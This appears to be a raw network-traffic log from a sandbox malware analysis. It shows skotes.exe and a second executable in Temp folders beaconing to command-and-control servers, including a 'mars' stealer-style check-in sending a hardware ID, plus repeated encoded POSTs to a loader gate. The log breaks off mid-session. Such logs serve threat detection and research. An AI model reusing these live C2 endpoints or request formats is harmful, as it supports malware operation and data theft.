Nov 12, 2024 02:14:20.626247883 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 02:14:21.546374083 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 02:14:21.551156044 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEHJJKFCAAFHJKFBKK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 38 30 38 35 33 45 42 45 35 39 32 33 39 38 39 38 39 30 30 39 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 2d 2d 0d 0a Data Ascii: ------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="hwid"3A80853EBE592398989009------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="build"mars------HCAEHJJKFCAAFHJKFBKK--
Nov 12, 2024 02:14:21.840128899 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49893	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:21.771787882 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:14:22.702543020 CET	401	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 64 33 0d 0a 20 3c 63 3e 31 30 30 35 36 36 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 64 30 63 30 66 39 63 33 35 39 31 63 66 37 39 64 35 33 33 35 37 39 35 65 32 38 65 65 35 64 62 36 38 61 39 66 61 30 65 34 66 34 62 64 63 37 37 61 64 63 34 38 34 33 66 31 35 37 65 62 35 62 34 61 34 30 35 61 39 39 64 38 61 62 30 66 62 37 61 66 39 62 35 35 37 65 65 32 32 66 37 30 62 30 30 61 63 34 39 32 32 31 39 33 33 37 62 65 37 66 65 39 36 33 66 66 31 63 30 61 36 35 62 63 32 62 37 30 36 65 65 61 62 31 35 39 38 32 34 61 39 61 63 62 65 65 30 65 65 32 63 64 32 32 36 65 39 34 31 66 62 64 32 31 65 39 33 62 61 63 38 32 31 61 33 64 62 32 65 61 64 36 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: d3 <c>1005667001+++b5937c1ad0c0f9c3591cf79d5335795e28ee5db68a9fa0e4f4bdc77adc4843f157eb5b4a405a99d8ab0fb7af9b557ee22f70b00ac492219337be7fe963ff1c0a65bc2b706eeab159824a9acbee0ee2cd226e941fbd21e93bac821a3db2ead6#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49928	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:27.974885941 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 30 35 36 36 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1005667001&unit=246122658369
Nov 12, 2024 02:14:28.891367912 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49941	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:30.521744013 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:14:31.474802017 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49955	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:32.991877079 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:14:33.918473959 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49970	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:35.818882942 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:14:36.766722918 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49986	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:38.396630049 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:14:39.344408035 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50000	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:41.007477045 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:14:41.945214033 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50014	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:43.475033045 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:14:44.428128004 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50025	185.215.113.206	80	2448	C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:45.414362907 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 02:14:46.310118914 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 02:14:46.312268019 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDAAAKJJDBGCBFCBGI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 38 30 38 35 33 45 42 45 35 39 32 33 39 38 39 38 39 30 30 39 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 2d 2d 0d 0a Data Ascii: ------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="hwid"3A80853EBE592398989009------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="build"mars------CGIDAAAKJJDBGCBFCBGI--
Nov 12, 2024 02:14:46.592129946 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50030	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:46.146828890 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:14:47.061115026 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50046	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:48.585918903 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:14:49.496388912 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50069	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:52.664499044 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:14:53.578107119 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50071	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:55.265847921 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:14:56.196659088 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50073	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:57.853888988 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:14:58.843682051 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50074	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:00.479412079 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:15:01.396595955 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50075	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:02.954119921 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:15:03.857333899 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50076	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:05.493566990 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:15:06.401484966 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50077	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:07.914937973 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:15:08.827764988 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50078	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:10.461558104 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:15:11.376611948 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	50079	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
